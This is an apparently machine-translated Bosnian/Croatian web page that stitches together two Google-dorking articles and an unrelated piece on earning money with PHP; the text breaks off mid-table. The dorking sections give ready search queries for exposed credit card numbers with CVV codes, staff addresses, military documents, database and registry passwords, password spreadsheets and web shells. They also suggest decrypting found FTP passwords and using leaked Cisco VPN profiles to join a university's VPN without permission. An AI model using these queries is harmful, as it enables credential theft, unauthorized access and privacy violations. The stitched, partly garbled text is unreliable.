Inurl php http kakva zarada. Kako zaraditi novac poznavanjem PHP-a? Kako php programer može dobro zaraditi kod kuće?

Dobijanje privatnih podataka ne znači uvijek hakovanje – ponekad se javno objavljuje. Poznavanje Google postavki i malo domišljatosti omogućit će vam da pronađete mnogo zanimljivih stvari – od brojeva kreditnih kartica do FBI dokumenata.

UPOZORENJE

Sve informacije su date samo u informativne svrhe. Ni uredništvo ni autor nisu odgovorni za bilo kakvu moguću štetu uzrokovanu materijalima ovog članka.

Danas je sve povezano na internet, bez brige o ograničavanju pristupa. Stoga mnogi privatni podaci postaju plijen pretraživača. Spider roboti više nisu ograničeni na web stranice, već indeksiraju sav sadržaj dostupan na Internetu i stalno dodaju nejavne informacije u svoje baze podataka. Saznati ove tajne je lako - samo trebate znati kako se raspitati o njima.

Tražim fajlove

U sposobnim rukama, Google će brzo pronaći sve što se ne može pronaći na internetu, na primjer, lične podatke i fajlove za službenu upotrebu. Često su skriveni kao ključ ispod tepiha: nema stvarnih ograničenja pristupa, podaci jednostavno leže na poleđini stranice, kamo ne vode nikakve veze. Standardni Google web interfejs pruža samo osnovne postavke naprednog pretraživanja, ali i one će biti dovoljne.

Možete ograničiti svoju Google pretragu na određenu vrstu datoteke koristeći dva operatora: filetype i ext. Prvi specificira format koji je pretraživač odredio iz naslova datoteke, drugi specificira ekstenziju datoteke, bez obzira na njen interni sadržaj. Kada pretražujete u oba slučaja, potrebno je samo navesti ekstenziju. U početku, ext operator je bio prikladan za korištenje u slučajevima kada datoteka nije imala specifične karakteristike formata (na primjer, za traženje ini i cfg konfiguracijskih datoteka, koje mogu sadržavati bilo šta). Sada su se Google algoritmi promijenili i nema vidljive razlike između operatera – u većini slučajeva rezultati su isti.


Filtriranje rezultata

Prema zadanim postavkama, Google traži riječi i, općenito, sve unesene znakove u svim datotekama na indeksiranim stranicama. Možete ograničiti područje pretraživanja domenom najvišeg nivoa, određenom web lokacijom ili lokacijom sekvence pretraživanja u samim datotekama. Za prve dvije opcije koristite operatora web mjesta, nakon čega slijedi naziv domene ili odabrane stranice. U trećem slučaju, čitav skup operatora vam omogućava da tražite informacije u poljima usluge i metapodacima. Na primjer, allinurl će pronaći dati u tijelu samih linkova, allinanchor - u tekstu opremljenom oznakom , allintitle - u naslovima stranica, allintext - u tijelu stranica.

Za svakog operatera postoji laka verzija sa kraćim imenom (bez prefiksa all). Razlika je u tome što će allinurl pronaći veze sa svim riječima, a inurl će pronaći veze samo sa prvom od njih. Druga i sljedeće riječi iz upita mogu se pojaviti bilo gdje na web stranicama. Operator inurl se također razlikuje od drugog operatora sa sličnim značenjem - site. Prvi vam takođe omogućava da pronađete bilo koji niz znakova u linku na traženi dokument (na primjer, /cgi-bin/), koji se široko koristi za pronalaženje komponenti sa poznatim ranjivostima.

Hajde da probamo u praksi. Uzimamo allintext filter i tražimo da zahtjev proizvede listu brojeva i verifikacionih kodova kreditnih kartica koje će isteći tek za dvije godine (ili kada se vlasnici umorne od hrane svih).

Allintext: datum isteka broja kartice /2017 cvv

Kada u vijestima pročitate da je mladi haker “provalio u servere” Pentagona ili NASA-e, kradući povjerljive podatke, u većini slučajeva govorimo upravo o takvoj osnovnoj tehnici korištenja Gugla. Pretpostavimo da nas zanima lista NASA-inih zaposlenika i njihove kontakt informacije. Takva lista je sigurno dostupna u elektronskom obliku. Radi praktičnosti ili zbog nadzora, može se nalaziti i na web stranici same organizacije. Logično je da u ovom slučaju neće biti linkova na njega, jer je namijenjen za internu upotrebu. Koje riječi mogu biti u takvom fajlu? Najmanje - polje "adresa". Testiranje svih ovih pretpostavki je jednostavno.


Inurl:nasa.gov tip datoteke:xlsx "adresa"


Koristimo birokratiju

Ovakvi nalazi su lijepi dodir. Zaista solidan ulov pruža detaljnije poznavanje Google-ovih operatera za webmastere, same Mreže i posebnosti strukture onoga što se traži. Poznavajući detalje, možete lako filtrirati rezultate i precizirati svojstva potrebnih datoteka kako biste u ostalom dobili zaista vrijedne podatke. Smiješno je da ovdje birokratija priskače u pomoć. Proizvodi standardne formulacije koje su pogodne za traženje tajnih informacija koje su slučajno procurile na Internet.

Na primjer, pečat izjave o distribuciji, koji zahtijeva Ministarstvo odbrane SAD-a, znači standardizirana ograničenja distribucije dokumenta. Slovo A označava javna saopštenja u kojima nema ništa tajno; B - namenjen samo za internu upotrebu, C - strogo poverljivo, i tako sve do F. Posebno se izdvaja slovo X koje označava posebno vredne podatke koji predstavljaju državnu tajnu najvišeg nivoa. Neka oni koji to treba da rade na dužnosti traže takve dokumente, a mi ćemo se ograničiti na fajlove sa slovom C. Prema DoDI direktivi 5230.24, ova oznaka se dodjeljuje dokumentima koji sadrže opis kritičnih tehnologija koje potpadaju pod kontrolu izvoza . Takve pažljivo zaštićene informacije možete pronaći na stranicama u domeni najvišeg nivoa.mil, namijenjenoj američkoj vojsci.

"IZJAVA O DISTRIBUCIJI C" inurl:navy.mil

Veoma je zgodno da domen .mil sadrži samo sajtove Ministarstva odbrane SAD i njegovih ugovornih organizacija. Rezultati pretrage sa ograničenjem domene su izuzetno čisti, a naslovi govore sami za sebe. Potraga za ruskim tajnama na ovaj način je praktički beskorisna: haos vlada u domenima.ru i.rf, a imena mnogih oružanih sistema zvuče kao botanički (PP "Kiparis", samohodne topove "Akatsia") ili čak fantastično ( TOS “Buratino”).


Pažljivim proučavanjem bilo kog dokumenta sa sajta u domenu .mil, možete videti druge markere kako biste precizirali pretragu. Na primjer, referenca na ograničenja izvoza “Sec 2751”, koja je također zgodna za traženje zanimljivih tehničkih informacija. S vremena na vrijeme se uklanja sa zvaničnih stranica na kojima se nekada pojavio, pa ako ne možete pratiti zanimljiv link u rezultatima pretrage, koristite Googleov keš (cache operator) ili web stranicu Internet Archive.

Penjanje u oblake

Osim slučajno deklasificiranih vladinih dokumenata, u Googleovoj keš memoriji povremeno se pojavljuju linkovi ka ličnim datotekama iz Dropboxa i drugih servisa za pohranu podataka koji stvaraju “privatne” veze ka javno objavljenim podacima. Još je gore s alternativnim i domaćim uslugama. Na primjer, sljedeći upit pronalazi podatke za sve Verizon klijente koji imaju instaliran FTP server i aktivno koriste svoj ruter.

Allinurl:ftp:// verizon.net

Takvih pametnih ljudi sada ima više od četrdeset hiljada, a u proljeće 2015. bilo ih je mnogo više. Umjesto Verizon.net-a, možete zamijeniti ime bilo kojeg poznatog provajdera, a što je poznatiji, ulov može biti veći. Preko ugrađenog FTP servera možete vidjeti datoteke na vanjskom uređaju za pohranu koji je povezan s ruterom. Obično je ovo NAS za daljinski rad, lični oblak ili neka vrsta peer-to-peer preuzimanja datoteka. Sav sadržaj takvih medija indeksira Google i drugi pretraživači, tako da možete pristupiti datotekama pohranjenim na vanjskim diskovima putem direktne veze.

Gledajući konfiguracije

Prije masovne migracije na oblak, jednostavni FTP serveri su vladali kao udaljena pohrana, koja je također imala dosta ranjivosti. Mnogi od njih su i danas aktuelni. Na primjer, popularni program WS_FTP Professional pohranjuje konfiguracijske podatke, korisničke račune i lozinke u datoteci ws_ftp.ini. Lako ga je pronaći i pročitati, jer se svi zapisi čuvaju u tekstualnom formatu, a lozinke su šifrovane trostrukim DES algoritmom nakon minimalnog zamagljivanja. U većini verzija dovoljno je jednostavno odbaciti prvi bajt.

Lako je dešifrirati takve lozinke koristeći uslužni program WS_FTP Password Decryptor ili besplatni web servis.

Kada se govori o hakiranju proizvoljne web stranice, obično se misli na dobivanje lozinke iz dnevnika i rezervnih kopija konfiguracijskih datoteka CMS-a ili aplikacija za e-trgovinu. Ako znate njihovu tipičnu strukturu, lako možete naznačiti ključne riječi. Linije poput onih koje se nalaze u ws_ftp.ini su izuzetno česte. Na primjer, u Drupalu i PrestaShop-u uvijek postoji identifikator korisnika (UID) i odgovarajuća lozinka (pwd), a sve informacije se pohranjuju u datoteke sa ekstenzijom .inc. Možete ih tražiti na sljedeći način:

"pwd=" "UID=" ext:inc

Otkrivanje DBMS lozinki

U konfiguracijskim datotekama SQL servera, korisnička imena i adrese e-pošte pohranjuju se u čistom tekstu, a umjesto lozinki upisuju se njihovi MD5 heševi. Strogo govoreći, nemoguće ih je dešifrirati, ali možete pronaći podudaranje među poznatim parovima heš-lozinke.

Još uvijek postoje DBMS-ovi koji čak i ne koriste heširanje lozinke. Konfiguracijske datoteke bilo koje od njih mogu se jednostavno pregledati u pretraživaču.

Intext:DB_PASSWORD tip datoteke:env

Pojavom Windows servera, mjesto konfiguracijskih datoteka djelomično je zauzeo registar. Možete pretraživati ​​njegove grane na potpuno isti način, koristeći reg kao tip datoteke. Na primjer, ovako:

Tip datoteke:reg HKEY_CURRENT_USER "Lozinka"=

Ne zaboravimo očigledno

Ponekad je moguće doći do povjerljivih informacija korištenjem podataka koji su slučajno otvoreni i koji su došli do Googlea. Idealna opcija je pronaći listu lozinki u nekom uobičajenom formatu. Samo očajni ljudi mogu pohraniti informacije o računu u tekstualnu datoteku, Word dokument ili Excel tabelu, ali uvijek ih ima dovoljno.

Tip datoteke:xls inurl:lozinka

S jedne strane, postoji mnogo sredstava za sprečavanje ovakvih incidenata. Potrebno je navesti adekvatna prava pristupa u htaccess-u, zakrpiti CMS, ne koristiti ljevoruke skripte i zatvoriti ostale rupe. Postoji i datoteka sa listom izuzetaka robots.txt koja zabranjuje pretraživačima da indeksiraju datoteke i direktorije navedene u njoj. S druge strane, ako se struktura robots.txt na nekom serveru razlikuje od standardne, onda odmah postaje jasno šta na njemu pokušavaju da sakriju.

Listi direktorija i datoteka na bilo kojoj stranici prethodi standardni indeks. Budući da se za potrebe usluge mora pojaviti u naslovu, ima smisla ograničiti njegovu pretragu na operator naslova. Zanimljive stvari su u direktorijumima /admin/, /personal/, /etc/ pa čak i /secret/.

Pratite novosti

Relevantnost je ovdje izuzetno važna: stare ranjivosti se vrlo sporo zatvaraju, ali Google i njegovi rezultati pretraživanja se stalno mijenjaju. Postoji čak i razlika između filtera "poslednje sekunde" (&tbs=qdr:s na kraju URL-a zahtjeva) i filtera "u stvarnom vremenu" (&tbs=qdr:1).

Vremenski interval datuma posljednjeg ažuriranja datoteke također je implicitno naznačen od strane Googlea. Preko grafičkog web sučelja možete odabrati jedan od standardnih perioda (sat, dan, sedmica, itd.) ili postaviti raspon datuma, ali ovaj metod nije pogodan za automatizaciju.

Iz izgleda adresne trake, možete samo nagađati o načinu da ograničite izlaz rezultata korištenjem &tbs=qdr: konstrukcije. Slovo y nakon njega postavlja granicu od jedne godine (&tbs=qdr:y), m prikazuje rezultate za posljednji mjesec, w - za sedmicu, d - za prošli dan, h - za posljednji sat, n - za minut, i s - za daj mi sekund. Najnoviji rezultati koje je Google upravo objavio nalaze se pomoću filtera &tbs=qdr:1.

Ako trebate napisati pametnu skriptu, bit će korisno znati da je raspon datuma postavljen u Googleu u julijanskom formatu pomoću operatora raspona datuma. Na primjer, ovako možete pronaći listu PDF dokumenata sa riječju povjerljivo, preuzetih od 1. januara do 1. jula 2015. godine.

Povjerljivi tip datoteke:pdf daterange:2457024-2457205

Opseg je naznačen u julijanskom formatu datuma bez uzimanja u obzir razlomka. Nezgodno je prevesti ih ručno sa gregorijanskog kalendara. Lakše je koristiti konvertor datuma.

Ponovno ciljanje i filtriranje

Pored navođenja dodatnih operatora u upitu za pretraživanje, oni se mogu poslati direktno u tijelo veze. Na primjer, filetype:pdf specifikacija odgovara konstrukciji as_filetype=pdf . Zbog toga je zgodno tražiti bilo kakva pojašnjenja. Recimo da je izlaz rezultata samo iz Republike Honduras specificiran dodavanjem konstrukcije cr=countryHN URL-u pretrage, a samo iz grada Bobruisk - gcs=Bobruisk. Kompletnu listu možete pronaći u odjeljku za programere.

Googleovi alati za automatizaciju dizajnirani su da olakšaju život, ali često dodaju probleme. Na primjer, korisnikov grad je određen IP-om korisnika putem WHOIS-a. Na osnovu ovih informacija, Google ne samo da balansira opterećenje između servera, već i mijenja rezultate pretraživanja. Ovisno o regiji, za isti zahtjev, različiti rezultati će se pojaviti na prvoj stranici, a neki od njih mogu biti potpuno skriveni. Dvoslovni kod iza direktive gl=country pomoći će vam da se osjećate kao kosmopolita i tražite informacije iz bilo koje zemlje. Na primjer, kod Holandije je NL, ali Vatikan i Sjeverna Koreja nemaju svoj kod u Guglu.

Često se rezultati pretraživanja završe pretrpani čak i nakon upotrebe nekoliko naprednih filtera. U ovom slučaju, zahtjev je lako razjasniti dodavanjem nekoliko riječi izuzetaka (ispred svake od njih se stavlja znak minus). Na primjer, bankarstvo, imena i tutorial se često koriste uz riječ Personal. Stoga će jasniji rezultati pretraživanja biti prikazani ne udžbeničkim primjerom upita, već rafiniranim:

Naslov:"Indeks /Personal/" -nazivi -vodič -bankarstvo

Poslednji primer

Sofisticiranog hakera odlikuje činjenica da sam sebi obezbjeđuje sve što mu je potrebno. Na primjer, VPN je zgodna stvar, ali ili skupa, ili privremena i sa ograničenjima. Registracija za pretplatu za sebe je preskupa. Dobro je što postoje grupne pretplate, a uz pomoć Googlea lako je postati dio grupe. Da biste to učinili, samo pronađite Cisco VPN konfiguracijsku datoteku, koja ima prilično nestandardnu ​​PCF ekstenziju i prepoznatljivu putanju: Program Files\Cisco Systems\VPN Client\Profiles. Jedan zahtjev i pridružite se, na primjer, prijateljskom timu Univerziteta u Bonu.

Tip datoteke:pcf vpn ILI grupa

INFO

Google pronalazi konfiguracijske datoteke lozinki, ali mnoge od njih su šifrirane ili zamijenjene hashovima. Ako vidite nizove fiksne dužine, odmah potražite uslugu dešifriranja.

Lozinke se pohranjuju šifrovane, ali Maurice Massard je već napisao program za njihovo dešifriranje i pruža ga besplatno putem thecampusgeeks.com.

Google izvodi stotine različitih vrsta napada i testova penetracije. Postoji mnogo opcija koje utiču na popularne programe, glavne formate baza podataka, brojne ranjivosti PHP-a, oblaka i tako dalje. Znajući šta tačno tražite, biće mnogo lakše pronaći informacije koje su vam potrebne (posebno informacije koje niste nameravali da objavite). Shodan nije jedini koji hrani zanimljive ideje, već svaku bazu indeksiranih mrežnih resursa!

Od autora: Zdravo prijatelji! U ovom članku ćemo govoriti o PHP programskom jeziku. Hajde da saznamo za šta se koristi, šta možete da uradite sa njim i koje mesto zauzima u fazama razvoja sajta. Takođe u ovom članku ćemo pogledati mnoge načine da zaradite novac znajući kako programirati u PHP-u.

Šta je PHP i čemu služi?

PHP je skriptni jezik koji se vrlo aktivno koristi u razvoju web aplikacija. PHP je jedan od vodećih jezika koji se koristi u razvoju dinamičkih web stranica.

PHP je programski jezik na strani servera. Sve skripte napisane na ovom jeziku se izvršavaju na serveru sa sajtom. Da biste proučavali PHP, razvijali i otklanjali greške na web stranicama i skriptama, naravno, ne morate kupiti pravi server na Internetu. U te svrhe koriste se emulatori servera, koji se u obliku programa jednostavno instaliraju na radnom računalu. A na server na Internetu (hosting) postavljaju se gotove web stranice i stranice sa PHP skriptama. Inače, skoro sav moderni hosting podržava PHP jezik.

Popularnost ovog jezika u području izrade web stranica određena je prisustvom velikog skupa ugrađenih alata za razvoj web aplikacija. Glavni:

automatsko izdvajanje POST i GET parametara, kao i varijabli okruženja web servera u unapred definisane nizove;

interakcija sa velikim brojem različitih sistema za upravljanje bazama podataka (MySQL, MySQLi, SQLite, PostgreSQL, Oracle (OCI8), Oracle, Microsoft SQL Server, Sybase, ODBC, mSQL, IBM DB2, Cloudscape i Apache Derby, Informix, Ovrimos SQL, Lotus Notes , DB++, DBM, dBase, DBX, FrontBase, FilePro, Ingres II, SESAM, Firebird / InterBase, Paradox File Access, MaxDB, PDO interfejs);

automatsko slanje HTTP zaglavlja;

rad sa kolačićima i sesijama;

rad s lokalnim i udaljenim datotekama, utičnicama;

obrada datoteka učitanih na server;

rad sa XForms.

Pogledajmo primjer gdje se PHP skripta pokreće na stranici. Uzmite, na primjer, obrazac za pretplatu u koji upisujete svoje ime i e-mail na mnogim stranicama. Za izgled forme zaslužni su HTML i CSS – boje polja za unos i dugmad, promena boje dugmeta pri lebdenju i klikanju na njega i tako dalje. Koristeći HTML5, možete provjeriti ispravnost podataka unesenih u obrazac - na primjer, da li su polja za email ili telefon ispravno popunjena.

A nakon što kliknete na dugme „Pretplati se“, poziva se PHP skripta koja prima podatke koje ste uneli u obrazac. Skripta ih bilježi u bazu podataka, generira i šalje vam vezu za potvrdu vaše pretplate na e-poštu navedenu u obrascu, provjerava potvrdu pretplate i šalje vam sljedeće e-poruke. Sve ove operacije se izvode na serveru, a to se radi pomoću PHP programskog jezika.

Primjena PHP-a u izradi web stranica

Da biste kreirali web stranicu, potrebno je proći kroz nekoliko faza:

Planiranje. U ovoj fazi planiramo budući sajt: za koga i zašto ga pravimo, ko će posetiti sajt, čime ga popuniti, šta treba da bude na sajtu itd.

Dizajn. U fazi dizajna kreiramo izgled stranica stranice u grafičkom uređivaču.

Layout. U fazi izgleda, koristeći HTML i CSS, kreiramo HTML stranice budućeg sajta od izgleda dobijenih u fazi dizajna.

Programiranje. U fazi programiranja automatizujemo procese rada sa sajtom. Administrativni dio stranice (admin panel) programiramo tako da možete dodavati, brisati, uređivati ​​postojeće stranice čak i za osobu koja nije potpuno upoznata sa izgradnjom web stranice. Programiramo tako da pretraživanje i svi obrasci za pretplatu (ako ih ima) na stranici funkcioniraju. Vodimo računa da se novododata stranica prikazuje na stranici, a link do kreirane stranice automatski se pojavljuje u meniju. Ako sajt koristi glasanje ili anketu, onda je i ovo sve programirano u PHP-u, u fazi programiranja.

Ako uzmemo u obzir fazu programiranja veće stranice, na primjer, online trgovine, onda je sve ovdje još šire i zanimljivije. U ovom slučaju dodajemo ne samo stranice, već i proizvode - glavni sadržaj online trgovine. Štaviše, u admin panelu morate dati raščlanjivanje dodatih proizvoda u različite kategorije. Također bi trebalo biti moguće uređivati ​​proizvod, mijenjati njegov opis, cijenu, sliku itd.

Osim toga, online trgovina zahtijeva programiranje analitičkog sistema - tako da na admin panelu možete vidjeti koliko je porudžbina poslato i plaćeno, za koji iznos, koji su proizvodi plaćeni iz kojih kategorija itd. Štaviše, trebalo bi biti moguće prikazati takve izvještaje za različite periode. Prilikom programiranja online trgovine često se implementira i izvještavanje o prodaji za računovodstvene i porezne svrhe.

Zato je faza u kojoj se koristi PHP programski jezik najvažnija, vremenski najduža i najskuplja i najplaćenija u izradi web stranica. A kada shvatite kako programirati online prodavnicu, moći ćete kreirati skripte za web stranicu gotovo bilo koje složenosti.

Popularnost PHP-a

O popularnosti PHP-a svedoči činjenica da ga koristi 83,1% svih sajtova na kojima je bilo moguće identifikovati programski jezik na strani servera.

Svi najpopularniji CMS-ovi koji zauzimaju prva mjesta u ocjenama popularnosti (i plaćeni i besplatni: WordPress, Joomla, Drupal, Modx, Bitrix. Magento, itd.) napisani su u PHP programskom jeziku.

Takođe, o popularnosti PHP programskog jezika svedoče i mnogi kreirani PHP okviri, kao što su Laravel, Yii, CakePHP, Slim, Zend Framework 2, PHPixie, CodeIgniter, Symfony 2 i drugi. Postoji ogroman broj foruma i velikih zajednica - za PHP općenito, za svaki framework i za svaki CMS posebno.
Dodaću i da su najveći svjetski sajtovi, na primjer, Facebook, Wikipedia, također napisani na PHP-u.

Kako možete zaraditi novac sa poznavanjem PHP-a?

S obzirom na popularnost PHP-a, postoji stalna velika potražnja za PHP programerima. Poznavanje PHP-a i sposobnost programiranja na ovom jeziku otvoriće vam nove mogućnosti za zaradu. Pogledajmo glavne sa kojima danas zaista možete zaraditi:

Zarada razvijanjem skripti. Svi sajtovi se konstantno razvijaju i periodično zahtevaju pisanje novih skripti, ili razvoj dodatne funkcionalnosti, modula itd. Za takav razvoj, vlasnici sajtova se obraćaju PHP programerima. Štaviše, u ovom slučaju novac možete zaraditi na dva načina:

pratiti narudžbe za pronalaženje slobodnog programera;

generirati ideje za masovne skripte. Imajući ideju za skriptu koja će definitivno biti tražena među, na primjer, vlasnicima internetskih trgovina, možete samostalno razviti takvu skriptu i prodati je vlasnicima internetskih trgovina;

Finalizacija gotovih skripti "po narudžbini". Ovdje je sve jednostavno - preuzimate modifikaciju ili ispravku skripte. Ali u ovom slučaju postoji nijansa - u početku skripta možda neće biti dobro napravljena, a njeno usavršavanje može potrajati više vremena nego pisanje skripte od nule. Stoga, ako koristite ovaj način zarade, u početku vrlo pažljivo pogledajte šta ćete modificirati i dovršiti.

Razvoj dodataka za CMS. U ovoj metodi sve je isto kao i kod zarađivanja novca od skripti. Često web stranice kreirane na gotovom CMS-u zahtijevaju pisanje neke vrste dodatka, dodatka ili ekstenzije. I ovdje možete zaraditi na dva načina:

pratiti narudžbe za razvoj dodataka, dodataka i ekstenzija na slobodnoj osnovi;

razviti i prodati masovni dodatak koji će definitivno biti tražen na većini stranica;

Sopstveni i zajednički projekti. Ako imate ideju za internet projekat (startup), na primjer, ideju za korisnu uslugu ili aplikaciju koja bi riješila konkretan problem, onda možete početi s njenom implementacijom. U početnoj fazi, to može biti čak i samo kao hobi, pored vašeg glavnog posla. Tada, kada bude jasno da hobi prerasta u veliki projekat, moći će mu se posvetiti više vremena.

Izrada dinamičkih web stranica i motora za njih. Također možete dobro zaraditi razvijajući prilagođene web stranice, radeći kao freelancer ili u web studiju.

Izrada web stranica za sebe. Možete kreirati web stranicu za sebe, ispuniti je korisnim sadržajem - a kada stranica ima dovoljan broj posjetitelja, počnite zarađivati ​​tako što ćete na njoj plasirati plaćeno oglašavanje ili promovirati nečije proizvode kroz partnerske programe.

Mislim da su mnogi od vas pomislili da se sve gore navedene metode zarade mogu kombinovati. I to je tačno! Možete kreirati web stranicu za sebe i pasivno zarađivati ​​novac prodajom reklama s nje, plus kreirati skriptu ili dodatak i prodavati ga na specijaliziranim web stranicama, zarađujući novac na autopilotu od svake prodaje, a u isto vrijeme i dalje možete raditi na webu studio. Zašto ne? Naravno da možete!

Koliko PHP programer može zaraditi?

Sa zaradom PHP programera, sve je individualno. Mnogo toga ovdje ovisi o tome gdje raditi, kako raditi, koji nivo znanja, kakvo iskustvo, kvalifikacije, koja srodna dodatna znanja programer ima, itd. Stoga, u principu, ovdje ne može postojati tačna brojka. Ali možemo pogledati kakve se plate nude kada tražimo PHP programere u web studiju i koliko su oni spremni da plate za projekat na berzama slobodnjaka.

Slika ispod prikazuje predloženu platu za PHP programere u web studiju. Štaviše, ovo je plata za PHP programere bez radnog iskustva:

Ako imate radno iskustvo, možete zaraditi mnogo više. Ispod su plaće koje se nude iskusnim PHP programerima.

A danas možete zaraditi i pristojan novac od freelancera:

Zaključak

PHP je najpopularniji programski jezik među web programerima. Ogromna većina svih web stranica na Internetu napisana je na PHP-u. Posjedujući znanje i sposobnost razvoja u ovom programskom jeziku, možete dobro zaraditi, a postoji mnogo opcija za zaradu - od rada u web studiju do razvoja vlastitog projekta ili startupa.

Svako traženje ranjivosti na web resursima počinje izviđanjem i prikupljanjem informacija.
Inteligencija može biti ili aktivna – gruba sila datoteka i direktorija na stranici, pokretanje skenera ranjivosti, ručno pregledavanje stranice ili pasivna – traženje informacija u različitim pretraživačima. Ponekad se desi da ranjivost postane poznata i prije otvaranja prve stranice stranice.

Kako je to moguće?
Roboti za pretraživanje, koji neprestano lutaju internetom, osim informacija korisnih prosječnom korisniku, često bilježe stvari koje napadači mogu iskoristiti za napad na web resurs. Na primjer, greške skripte i datoteke s osjetljivim informacijama (od konfiguracijskih datoteka i dnevnika do datoteka s podacima za autentifikaciju i sigurnosne kopije baze podataka).
Sa stanovišta robota za pretraživanje, poruka o grešci u izvršavanju sql upita je običan tekst, neodvojiv, na primjer, od opisa proizvoda na stranici. Ako iznenada robot za pretraživanje naiđe na datoteku s ekstenzijom .sql, koja je iz nekog razloga završila u radnoj mapi web-lokacije, tada će se ona smatrati dijelom sadržaja stranice i također će biti indeksirana (uključujući, moguće, lozinke navedeno u njemu).

Takve informacije se mogu pronaći poznavanjem jakih, često jedinstvenih ključnih riječi koje pomažu odvojiti “ranjive stranice” od stranica koje ne sadrže ranjivosti.
Ogromna baza podataka specijalnih upita koji koriste ključne riječi (tzv. dorks) postoji na exploit-db.com i poznata je kao Google Hack Database.

Zašto google?
Dorks su prvenstveno ciljani na Google iz dva razloga:
− najfleksibilnija sintaksa ključnih riječi (prikazano u tabeli 1) i specijalnih znakova (prikazano u tabeli 2);
− Google indeks je i dalje potpuniji od indeksa drugih pretraživača;

Tabela 1 - Glavne Google ključne riječi

Ključna riječ
Značenje
Primjer
site
Pretražujte samo na navedenom sajtu. Uzima u obzir samo url
site:somesite.ru - pronaći će sve stranice na datoj domeni i poddomenama
inurl
Pretraživanje po riječima prisutnim u uri. Za razliku od cl. riječi “site”, traži podudaranja nakon naziva stranice
inurl:news - pronalazi sve stranice na kojima se navedena riječ pojavljuje u uri
intext
Pretražite u tijelu stranice
intext:”prometne gužve” - potpuno slično uobičajenom zahtjevu za “prometne gužve”
naslov
Pretražite u naslovu stranice. Tekst između oznaka <br></td> <td width="214">intitle:”indeks of” - će pronaći sve stranice sa listama direktorija <br></td> </tr><tr><td width="214">lok <br></td> <td width="214">Potražite stranice sa određenim ekstenzijom <br></td> <td width="214">ext:pdf - pronalazi sve pdf datoteke <br></td> </tr><tr><td width="214">filetype <br></td> <td width="214">Trenutno potpuno sličan klasi. riječ "ext" <br></td> <td width="214">filetype:pdf - slično <br></td> </tr><tr><td width="214">povezane <br></td> <td width="214">Potražite stranice sa sličnim temama <br></td> <td width="214">povezano:google.ru - pokazat će njegove analoge <br></td> </tr><tr><td width="214">veza <br></td> <td width="214">Potražite stranice koje povezuju na ovo <br></td> <td width="214">link:somesite.ru - pronaći će sve stranice koje imaju link na ovo <br></td> </tr><tr><td width="214">definisati <br></td> <td width="214">Prikaži definiciju riječi <br></td> <td width="214">define:0day - definicija pojma <br></td> </tr><tr><td width="214">skladiste <br></td> <td width="214">Prikaži sadržaj stranice u kešu (ako postoji) <br></td> <td width="214">cache:google.com - otvorit će keširanu stranicu <br></td> </tr></tbody></table><p>Tabela 2 – Posebni znakovi za Google upite <br></p><table><tbody><tr><td width="214"><b>Simbol</b><br></td> <td width="214"><b>Značenje</b><br></td> <td width="214"><b>Primjer</b><br></td> </tr><tr><td width="214">“<br></td> <td width="214">Tačna fraza <br></td> <td width="214">intitle:“stranica za konfiguraciju rutera RouterOS” - traži rutere <br></td> </tr><tr><td width="214">*<br></td> <td width="214">Bilo koji tekst <br></td> <td width="214">inurl: “bitrix*mcart” - traži web lokacije na bitrix-u sa ranjivim mcart modulom <br></td> </tr><tr><td width="214">.<br></td> <td width="214">Bilo koji lik <br></td> <td width="214">Index.of - slično indeksu zahtjeva <br></td> </tr><tr><td width="214">-<br></td> <td width="214">Izbrišite riječ <br></td> <td width="214">error -warning - prikaži sve stranice koje imaju grešku, ali bez upozorenja <br></td> </tr><tr><td width="214">..<br></td> <td width="214">Domet <br></td> <td width="214">cve 2006..2016 - prikaži ranjivosti po godinama počevši od 2006. <br></td> </tr><tr><td width="214">|<br></td> <td width="214">Logično "ili" <br></td> <td width="214">linux | prozori - prikazuju stranice na kojima se pojavljuje prva ili druga riječ <br></td> </tr></tbody></table><br>Vrijedi razumjeti da je svaki zahtjev pretraživaču pretraživanje samo riječima. <br>Beskorisno je tražiti meta znakove na stranici (navodnike, zagrade, znakove interpunkcije, itd.). Čak i traženje tačnog izraza navedenog u navodnicima je pretraživanje riječi, nakon čega slijedi traženje tačnog podudaranja u rezultatima. <p>Svi dorkovi Google Hack Database logično su podijeljeni u 14 kategorija i predstavljeni su u tabeli 3. <br>Tabela 3 – Kategorije baze podataka Google hackova <br></p><table><tbody><tr><td width="168"><b>Kategorija</b><br></td> <td width="190"><b>Šta vam omogućava da pronađete</b><br></td> <td width="284"><b>Primjer</b><br></td> </tr><tr><td width="168">Uporišta <br></td> <td width="190">Web ljuske, javni upravitelji datoteka <br></td> <td width="284">Pronađite sve hakovane stranice na koje su postavljene navedene web školjke: <br>(intitle:"phpshell" OR intitle:"c99shell" OR intitle:"r57shell" OR intitle:"PHP Shell" OR intitle:"phpRemoteView") `rwx` "uname" <br></td> </tr><tr><td width="168">Fajlovi koji sadrže korisnička imena <br></td> <td width="190">Fajlovi registra, konfiguracioni fajlovi, logovi, fajlovi koji sadrže istoriju unetih komandi <br></td> <td width="284">Pronađite sve datoteke registra koje sadrže informacije o računu: <br><i>filetype:reg reg +intext:“internet account manager”</i><br></td> </tr><tr><td width="168">Osjetljivi direktoriji <br></td> <td width="190">Direktoriji sa raznim informacijama (lični dokumenti, vpn konfiguracije, skrivena spremišta, itd.) <br></td> <td width="284">Pronađite sve liste direktorija koje sadrže datoteke vezane za VPN: <br><i>"Config" intitle:"Index of" intext:vpn</i><br>Stranice koje sadrže git repozitorije: <br><i>(intext:"indeks /.git") ("roditeljski direktorij")</i><br></td> </tr><tr><td width="168">Detekcija web servera <br></td> <td width="190">Verzija i druge informacije o web serveru <br></td> <td width="284">Pronađite administrativne konzole JBoss servera: <br><i>inurl:"/web-console/" intitle:"Administratorska konzola"</i><br></td> </tr><tr><td width="168">Ranjive datoteke <br></td> <td width="190">Skripte koje sadrže poznate ranjivosti <br></td> <td width="284">Pronađite web stranice koje koriste skriptu koja vam omogućava da učitate proizvoljni fajl sa servera: <br><i>allinurl:forcedownload.php?file=</i><br></td> </tr><tr><td width="168">Ranjivi serveri <br></td> <td width="190">Instalacijske skripte, web ljuske, otvorene administrativne konzole, itd. <br></td> <td width="284">Pronađite otvorene PHPMyAdmin konzole koje rade kao root: <br><i>intitle:phpMyAdmin "Dobro došli u phpMyAdmin ***" "pokreće se na * kao root@*"</i><br></td> </tr><tr><td width="168">Poruke o grešci <br></td> <td width="190">Razne greške i upozorenja često otkrivaju važne informacije - od CMS verzije do lozinki <br></td> <td width="284">Web lokacije koje imaju greške u izvršavanju SQL upita bazi podataka: <br><i>"Upozorenje: mysql_query()" "nevažeći upit"</i><br></td> </tr><tr><td width="168">Fajlovi koji sadrže sočne 